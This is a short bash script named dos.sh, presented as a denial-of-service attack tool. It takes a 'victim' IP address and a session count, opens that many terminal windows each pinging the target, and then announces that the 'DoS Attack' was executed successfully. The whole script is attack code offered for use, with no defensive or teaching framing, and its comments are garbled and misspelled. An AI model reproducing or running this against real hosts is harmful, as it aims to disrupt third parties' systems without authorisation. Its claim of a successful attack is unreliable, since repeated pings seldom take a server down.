dos.sh 374 B

123456789101112131415
  1. #!/bin/bash
  2. # dos script to attack of many requwsts of server
  3. #
  4. # accepts URR as parametr
  5. if [[ ($1 == "") || ($2 == "") ]]; then
  6. echo "Script usage is: $0 IP_Addres_of_Victim Num_of_Attack_sessions"
  7. exit
  8. else
  9. for (( i=1; i<=$2; i++ )); do
  10. x-terminal-emulator -e ping $1 &
  11. done
  12. fi
  13. echo "DoS Attack to [$1] with $2 attackers executed Successfully!"